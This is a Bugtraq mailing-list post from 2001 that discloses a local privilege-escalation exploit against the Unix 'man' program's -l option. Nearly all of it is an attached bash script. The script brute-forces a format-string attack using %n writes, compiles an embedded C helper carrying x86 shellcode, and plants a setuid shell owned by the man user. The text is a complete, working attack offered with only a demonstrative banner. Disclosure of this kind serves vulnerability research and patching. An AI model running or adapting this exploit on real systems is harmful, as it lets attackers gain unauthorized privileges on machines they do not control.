Local man exploit 
Date: Fri, 9 Feb 2001 21:16:26 +0100
From: Paul Starzetz <paul@STARZETZ.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Local man exploit
This is a multi-part message in MIME format.
--------------60A11DEE53A9281CA54089A7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi @ll
the attached script will create suid man shell on vulnerable systems
(man -l bug).
ihq.
--------------60A11DEE53A9281CA54089A7
Content-Type: application/x-sh;
 name="manexpl.sh"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="manexpl.sh"
#!/bin/bash
#	CONFIGURATION:
umask 000
target="/usr/bin/man"
tmpdir="/tmp/manexpl"
rm -rf "$tmpdir"
#       address we want to write to (ret on the stack)
#       has to be an absolute address but we brute force
#		this scanning 64 addresses from writeadr on
writeadr="0xbffff180"
#       address of the shell in our string
#		must point somewhere to our 'nop' region
shadr="0xbffff720"
#	number of nops before shellcode
declare -i nnops
nnops=128
#	brute force how many times
declare -i nbrute
nbrute=512
echo
echo "-------------------------------------------"
echo "|           local man exploit             |"
echo "|              by IhaQueR                 |"
echo "|    only for demonstrative purposes      |"
echo "-------------------------------------------"
echo
echo
echo "configured for running $target"
echo
echo "RETADR = $writeadr"
echo "SHELL  = $shadr"
echo "NOPS   = $nnops"
echo
shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
nop="N"
#	prepare
mkdir -p "$tmpdir"
if ! test -d "$tmpdir" ; then
	echo "[-] creating working dir, exit"
	exit 1
fi;
echo "[+] created working dir"
cd "$tmpdir"
echo
#	number of nops before shellcode
declare -i nnops
nnops=128
#	make nop field
declare -i idx
idx=0
nopcode=""
head=""
while test $idx -lt $nnops; do
	nopcode="${nop}$nopcode"
	idx=$(($idx+1))
done;
#	sanity check :-)
if ! test -x $target ; then
	echo "[-] $target not found or not executable, sorry"
	exit 1
fi;
echo "[+] found $target"
echo
#	get uids
muid=$(id -u man)
ruid=$(id -u)
if ! test $muid="" || ! test $ruid="" ; then
	echo "[-] error checking ids, sorry"
	exit 2;
fi;
printf "[+] uid=%d\t\tmid=%d" $ruid $muid
echo
declare -i cnt
declare -i cntmax
cnt=0
#	max gstring length*4
cntmax=1024
#	make string used for offset search
#	like <head><addr><nops><shellcode>
#	PP stands for padding
hstring="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nopcode}${shellfake}"
gstring=""
#	find offset
echo "    now searching for offset"
echo
declare -i npad
declare -i ocnt
ocnt=0
while test $cnt -le $cntmax ; do
	if test $ocnt -eq 4 ; then
		ocnt=0
		echo
	fi;
	gstring="%16g$gstring"
	cnt=$(($cnt+1))
	npad=0
	padding=""
	printf "[%4d " $cnt
	while test $npad -lt 8 ; do
		echo -n " $npad"
		result=$($target -l "$gstring$hstring" -p "$padding" a 2>&1 | grep "44434241")
		if test "$result" != "" ; then
			break 2;
		fi;
		padding="P$padding"
		npad=$(($npad+1))
	done;
	echo -n " ]   "
	ocnt=$(($ocnt+1))
done
echo "]  "
echo
echo
#	found offset
declare -i offset
offset=$(($cnt * 4))
if test $cnt -gt $cntmax ; then
	echo "[-] offset not found, please tune me :-)"
	exit 2
fi;
echo "[+] OFFSET found to be $offset/$cnt pad=$npad"
#	number of bytes written so far
declare -i nwrt
nwrt=$((16*${cnt}))
echo "    now constructing magic string nwrt=$nwrt"
echo
#	we need unsigned arithmetics, simple c tool
cat <<__ATOOL__> atool.c
#include <stdio.h>
int main(int argc, char** argv)
{
int i, flip;
unsigned adr, shadr, nwrt, ruid, muid;
unsigned char* p;
unsigned addr[9];
unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
unsigned char nop[1024];
unsigned char buf[8192];
//		IhaQueR's special code (no trojan, believe me :-)
char hellcode[]=	"\x31\xc0\x31\xdb\x31\xc9"	
					"\xb1\x01\xb7\x02\xb3\x03"
					"\xb0\x46\xcd\x80"
					"\x31\xc0\x31\xdb\x31\xc9"
					"\xb3\x01\xb5\x02\xb1\x03"
					"\xb0\x46\xcd\x80"
					"\x31\xc0\x31\xdb"
					"\xb3\x01\xb0\x17\xcd\x80"
					"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
					"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   					"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";
//		correct hellcode for current ruid, muid
		ruid = $ruid;
		muid = $muid;
		hellcode[7] = muid & 0xff;
		hellcode[9] = (ruid >> 8 ) & 0xff;
		hellcode[11] = ruid & 0xff;
		hellcode[23]=hellcode[7];
		hellcode[25]=hellcode[9];
		hellcode[27]=hellcode[11];
		hellcode[37]=hellcode[7];
		adr = $writeadr;
		adr += atol(argv[1]);
//		address field
		for(i=0; i<4; i++) {
			addr[2*i] = adr + i;
			addr[2*i+1] = adr + i;
		}
		addr[8]=0;
//		head
		shadr = $shadr;
		nwrt = $nwrt + 0;
		p = (unsigned char*)&shadr;
		for(i=0; i<4; i++) {
			flip = (((int)256) + ((int)p[i])) - ((int)(nwrt % 256));
			nwrt = nwrt + flip;
			sprintf(head+i*8, "%%%04dx%%n", flip);
		}
		head[32] = 0;
//		nops
		for(i=0; i<$nnops; i++)
			nop[i] = 0x90;
		nop[i] = 0;
		sprintf(buf, "$target -l '%s%s%s%s%s' -p \"$padding\" a 2>&1", "$gstring", head, addr, nop, hellcode);
		system(buf);
}
__ATOOL__
#	helper apps
rm -f atool
gcc atool.c -o atool
if ! test -x atool ; then
	echo "[-] compilation error, exiting"
	exit 3
fi;
echo "[+] compiled address tool"
#	mansh
cat <<__MANSH__> mansh.c
main(int argc, char** argv)
{
	setreuid($muid, $ruid);
	execv("/bin/sh", argv);
}
__MANSH__
rm -rf mansh
rm -rf umansh
gcc mansh.c -o umansh
if ! test -x umansh ; then
	echo "[-] compilation error, exiting"
	exit 4
fi;
echo "[+] compiled mansh"
#	mkmsh
cat <<__MKMSH__> mkmsh
#!/bin/bash
cp umansh mansh
chmod u+s mansh
__MKMSH__
chmod a+x mkmsh
if ! test -x mkmsh ; then
	echo "[-] compilation error, exiting"
	exit 5
fi;
echo "[+] mkmsh ready"
#	brute force
echo "    now brute force, wait..."
echo
idx=0
ocnt=1
umask 022
while test $idx -lt $nbrute ; do
	result=$(atool "$(($idx*4))")
	if test -x mansh ; then
		echo
		echo
		echo "[+] SUCCESS"
		echo
		echo "    suid man shell at $tmpdir/mansh"
		echo
		exit 6
	fi;
	printf "[%4d] " $idx
	if test $ocnt -eq 16 ; then
		ocnt=0;
		echo
	fi;
	idx=$(($idx+1))
	ocnt=$(($ocnt+1))
done;
#	cleanup
echo
echo "[-] FAILED, tune writeadr, shadr, nnops, nbrute, etc."
echo
echo
rm -rf "$tmpdir"
--------------60A11DEE53A9281CA54089A7--